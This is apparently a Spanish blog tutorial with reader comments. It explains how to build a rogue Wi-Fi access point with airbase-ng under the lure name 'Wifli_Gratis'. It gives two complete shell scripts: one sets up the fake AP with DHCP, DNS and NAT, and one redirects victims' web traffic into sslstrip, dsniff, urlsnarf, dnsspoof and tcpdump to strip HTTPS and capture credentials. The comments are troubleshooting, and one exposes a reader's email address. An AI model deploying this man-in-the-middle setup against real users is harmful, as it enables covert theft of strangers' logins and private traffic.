Post Actualizado: http://opensec.es/2011/03/30/howto-rogue-ap/
Hace algún tiempo escribí un artículo a modo de manual con un script final para crear puntos de acceso falso usando airbase-ng.
En este segundo artículo, voy a resumir brevemente los pasos mencionados en el primer artículo y mostrar diferentes caminos y algunas aplicaciones finales.
Lo primero será instalar los servidores DHCP y DNS necesarios, y ajustar su configuración. En este caso usaré como servidor DHCP “dhcp3-server” y como servidor DNS “bind9″.
Dado que queremos ofrecer conexión a internet a los clientes, debemos configurar el servidor DHCP para usar los rangos de IP que creamos más convenientes, en el archivo /etc/dhcp3/dhcpd.conf, en mi caso queda así:
ddns-update-style none;
option domain-name-servers 10.0.0.1;
default-lease-time 60;
max-lease-time 72;
authoritative;
log-facility local7;
subnet 10.0.0.0 netmask 255.255.255.0 {
range 10.0.0.33 10.0.0.254;
option routers 10.0.0.1;
option domain-name-servers 10.0.0.1;
}
Para ahorrarnos problemas, nos aseguramos de que ambos demonios están detenidos:
/etc/init.d/dhcp3-server stop
/etc/init.d/bind9 stop
Acto seguido, ajustaremos los parámetros de “airbase-ng” en función a lo que queramos hacer, en mi caso crearé un AP con cifrado WEP, por lo que los pasos para montar el AP serán:
- airbase-ng -I 100 -P -C 2 -c 6 –essid Wifli_Gratis rausb0 -w 5A303031333439454430374333
- ifconfig at0 10.0.0.1 up
- dhcpd3 -cf /etc/dhcp3/dhcpd.conf at0
- sysctl net.ipv4.ip_forward=1
- iptables -t nat -A POSTROUTING -o wlan0 -j MASQUERADE
- /etc/init.d/bind9 start
Listo, con esto ya tendremos la red creada y proporcionaremos acceso a internet a los clientes:
Cell 06 – Address: XX:XX:XX:XX:XX:XX
ESSID:”Wifli”
Mode:Master
Channel:6
Frequency:2.437 GHz (Channel 6)
Quality=96/100 Signal level=-31 dBm Noise level=-127 dBm
Encryption key:on
Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 6 Mb/s
9 Mb/s; 12 Mb/s; 18 Mb/s; 24 Mb/s; 36 Mb/s
48 Mb/s; 54 Mb/s
Extra:tsf=ffffffffd4670326
Una vez tenemos a los clientes conectados, vamos con lo siguiente:
SSLstrip: Suplanta sesiones web HTTPS por HTTP
$ sudo apt-get install python python-twisted-web
$ wget http://www.thoughtcrime.org/software/sslstrip/sslstrip-0.6.tar.gz && tar xf sslstrip-0.6.tar.gz
DSniff: Suite – Principalmente usaremos ‘dsniff’, ‘urlsnarf’ y ‘dnsspoof’ para suplantar nombres de dominio
- Para distribuciones basadas en Debian: $ sudo apt-get install dsniff
- Fuentes: http://monkey.org/~dugsong/dsniff/dsniff-2.3.tar.gz
p0f: Detección de SO pasivo
- Para distribuciones basadas en Debian: $ sudo apt-get install p0f
- Fuentes: http://lcamtuf.coredump.cx/p0f.tgz
TCPTrack: Monitor de conexiones TCP
- Para distribuciones basadas en Debian: $ sudo apt-get install tcptrack
- Fuentes: http://www.rhythm.cx/~steve/devel/tcptrack/release/1.2.0/source/tcptrack-1.2.0.tar.gz
Para comenzar está bien, aunque siempre podemos ponernos más “juguetones” y que el tráfico de red crezca de una manera descontrolada, usando karmetasploit.
Script para crear el AP:
#!/bin/sh
#
# Scriwap 1.5 - Script to create rogue AP
#
# Chema Garcia (a.k.a. sch3m4)
# sch3m4@opensec.es
# http://opensec.es
#
RUTA_AIRBASE='/usr/local/sbin/airbase-ng'
RUTA_BIND9='/etc/init.d/bind9'
RUTA_DHCPD3S='/etc/init.d/dhcp3-server'
RUTA_DHCPD3='/usr/sbin/dhcpd3'
RUTA_CFG_DHCPD3='/etc/dhcp3/dhcpd.conf'
RUTA_SYSCTL='/sbin/sysctl'
RUTA_IPTABLES='/sbin/iptables'
AIRBASE_IFACE='at0'
LOG='.scriwap.log'
function check
{
if [ ! $? -eq 0 ]
then
echo -e "[!] Error - Check "$LOG""
exit $?
fi
}
echo "###############################"
echo "# SCRIWAP 1.5 #"
echo "#=============================#"
echo "# Chema Garcia (aka sch3m4) #"
echo "# sch3m4@opensec.es #"
echo "# http://opensec.es #"
echo "###############################"
echo ""
if [ $# -lt 4 ]
then
echo -e "Use: $0 <iface_inet> <iface_monitor> <ip_gw> <netmask> <airbase_opt>\n"
echo -e "Ej: $0 wlan0 rausb0 10.0.0.1 255.0.0.0 -P -C 2 -c 6 --essid Wifli\n"
exit 1
fi
if [ ! $UID -eq 0 ]
then
sudo ls / 2>&1 >/dev/null
fi
#comienzo de parametros de airbase
ifacenet=$1
ifacemon=$2
ip=$3
mascara=$4
narg=$#
num=5
while [ $# -gt 0 ] && [ $num -le $narg ];do
param="$param $5"
shift
num=$(($num+1))
done
param="$param $ifacemon"
#Activamos el IP Forwarding
echo "[+] Setting up IP Forwarding"
sudo $RUTA_SYSCTL net.ipv4.ip_forward=1 2>&1 >> $LOG
check
echo "[+] Stopping DHCP daemon"
sudo $RUTA_DHCPD3S stop 2>&1 >> $LOG
echo "[+] Stopping DNS daemon"
sudo $RUTA_BIND9 stop 2>&1 >> $LOG
echo "[+] Flushing 'nat' table"
sudo $RUTA_IPTABLES -t nat -F
check
echo "[+] Adding iptables rule"
sudo $RUTA_IPTABLES -t nat -A POSTROUTING -o $ifacenet -j MASQUERADE
check
echo "[+] Setting up Acces Point..."
sudo rmmod tun 2>&1 >> $LOG
xterm -e sudo $RUTA_AIRBASE $param &
sleep 3
echo "[+] Settin up interface $AIRBASE_IFACE"
sudo ifconfig $AIRBASE_IFACE $ip netmask $mascara up
check
echo "[+] Starting DHCP daemon"
sudo $RUTA_DHCPD3 -cf $RUTA_CFG_DHCPD3 $AIRBASE_IFACE 2>&1 >> $LOG
check
echo "[+] Starting DNS daemon"
sudo $RUTA_BIND9 start 2>&1 >> $LOG
check
echo -e "\n[+] Finished!\n"
exit 0
Script para lanzar las herramientas:
#!/bin/bash
#
# Chema Garcia (a.k.a. sch3m4)
# sch3m4@opensec.es
# http://opensec.es
#
RUTA_IPTABLES='/sbin/iptables'
RUTA_SSLSTRIP='/home/sch3m4/FakeAP/sslstrip-0.6/sslstrip.py'
RUTA_DSNIFF='/usr/sbin/dsniff'
RUTA_URLSNARF='/usr/sbin/urlsnarf'
RUTA_DNSSPOOF='/usr/sbin/dnsspoof'
RUTA_P0F='/usr/sbin/p0f'
RUTA_TCPTRACK='/usr/bin/tcptrack'
RUTA_TCPDUMP='/usr/sbin/tcpdump'
PUERTO='4664'
RUTA_HOSTSDNS='' # You have to create a file to use dnsspoof
if [ ! $# -eq 1 ]
then
echo -e "\nUse: $0 <iface>\n"
exit 1
fi
if [ ! $UID -eq 0 ]
then
sudo ls / 2>&1 >/dev/null
fi
echo -e "[?] Do you want to save the capture using tcpdump? (y/n): \c"
read SAVE
if [ "$SAVE" == 'y' ] || [ y"$SAVE" == 'y' ]
then
SAVE_FILE=''
while [ -z "$SAVE_FILE" ]
do
echo -e "[?] Filename: \c"
read SAVE_FILE
done
else
SAVE_FILE=''
fi
echo '[+] Adding iptables rule'
sudo $RUTA_IPTABLES -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port $PUERTO
echo -e '[+] Launching SSLstrip...\c'
xterm -e sudo $RUTA_SSLSTRIP -l $PUERTO &
echo 'OK'
echo -e '[+] Launching Dsniff...\c'
xterm -e sudo $RUTA_DSNIFF -i $1 &
echo 'OK'
if [ ! -z "$RUTA_HOSTSDNS" ]
then
echo -e '[+] Launching DNSspoof...\c'
xterm -e sudo $RUTA_DNSSPOOF -i $1 -f $RUTA_HOSTSDNS &
echo 'OK'
fi
echo -e '[+] Launching p0f...\c'
xterm -e sudo $RUTA_P0F -i $1 -U -t &
echo 'OK'
echo -e '[+] Launching TCPtrack...\c'
xterm -e sudo $RUTA_TCPTRACK -i $1 &
echo 'OK'
echo -e '[+] Launching URLsnarf...\c'
xterm -e sudo $RUTA_URLSNARF -i $1 &
echo 'OK'
if [ ! -z "$SAVE_FILE" ]
then
echo -e '[+] Launching TCPDump...\c'
xterm -e sudo $RUTA_TCPDUMP -i $1 -w $SAVE_FILE &
echo 'OK'
fi
exit 0
Ambos scripts están disponibles en:





me podrias decir como congifuro rndc y por q no encuentra tun
[+] Setting up IP Forwarding
[+] Stopping DHCP daemon
[+] Stopping DNS daemon
rndc: connect failed: 127.0.0.1#953: connection refused
[+] Flushing ‘nat’ table
[+] Adding iptables rule
[+] Setting up Acces Point…
[+] Settin up interface at0
SIOCSIFADDR: No such device
at0: ERROR while getting interface flags: No such device
SIOCSIFNETMASK: No such device
at0: ERROR while getting interface flags: No such device
[!] Error – Check .scriwap.log
Si te fijas, el nombre de la nueva interface está harcodeado, así que si tienes varias interfaces tirando de tun, el script siempre intentará usar at0.
¿Has probado a realizar los mismos pasos a mano? Comprueba que puedes iniciar y detener los servicios sin problemas de configuraciones (lo necesario está en el post), y si te carga el módulo tun.
@sch3m4
lo estoy haciendo por pasos a rndc q no logro correjir
las interfaces q tengo son eth0 lo wlan0, manualmente segui tu post y logre crearla pero no logre navegar por eso me baje el script para ahorrar tiempo te dejo mi email stealomega@gmail.com si podes ayudame te lo voy agradecer estube todo el dia con esto ja
@sch3m4
si tun me carga en la maquina virtual pero donde tengo backtrack instalado no , nose por que?
Si hablamos de varios sistemas, mal vamos :/ Si en backtrack no te carga tun, preguntales
Hola:
Si bien queda claro que la intencion de airbase es otra ( :-) ) es realmente interesante la posibilidad de utilzarlo para crear APs funcionales con placas wifi baratas que no soportan el modo master (por ejemplo la rtl8187L).
De todos modos no soporta por ejemplo el uso de WPA ya que no esta implementado (solo una “mentirita” , pero no es funcional)
Conoces algun modo de usarlo en conjunto con hostapd?
Hola sushisan, te refieres a usar hostapd + airbase? Para qué quieres usar ambos a la vez?
Para usar las herramientas que usa el script pero en lugar de airbase, usar hostapd, el procedimiento sería el mismo, cargar hostapd y luego las herramientas en la interface adecuada.
la idea es usar aibase porque permite utilizar placas usb como AP que de otro modo serian imposibles de usar (pensemos qeu son poquisimos los chipsets que permiten el modo master!!!)
airbase permite simnular pro soft el modo master, estaria faltando los sistemas de encriptacion estandard como wpa y wep
Segui sus instrucciones paso a paso y no consigo resultados. Uso backtrack RD2.
Tengo internet mediante ethernet (eth0) y wlan0 para ponerla en modo monitor, la cual me crea mon0.
Creo el AP Falso, con otra computadora detecto la señal falsa, me conecto, pero me asigna la ip: 169.254.153.82
Pense que era error de dhcp3-server y procedi a parar el servicio e instalar dnsmasq, y sucede lo mismo, la maquina cliente obtiene la ip: 169.254.153.82
Se me hace extraño puesto que el rango del cual debe tomar la ip es: 10.0.0.33 10.0.0.254
COmo puedo comprobar que mi dhcp server esta en funcionamiento y entregando las ips dentro del rango ?
Que estoy haciendo mal?
Hola! Puedes poner que configuracion usaste en Bind9? Si es posible detalle desde la instalacion de bind9 hasta su configuracion para que pueda funcionar con este tutorial, ya que usted ha omitido lo que pido. Quizas por eso me falla, pues solo instale Bind9 pero “no configure” nada. Gracias!
@Rafael: Es la configuración por defecto, realmente no es necesario un servidor DNS a no ser que quieras \jugar\.
@Rafa: La IP que te asigna es la APIPA (http://compnetworking.about.com/cs/protocolsdhcp/g/bldef_apipa.htm) así que realmente el fallo está en el servidor DHCP, o bien porque no has definido el rango en la coniguración, o no le has asignado la IP correcta a \atX\, o estas en otra interface.
He recibido varios mails con preguntas similares, en cuanto tenga un rato intentaré publicar un post más explicativo.
Gracias a ambos por leerme!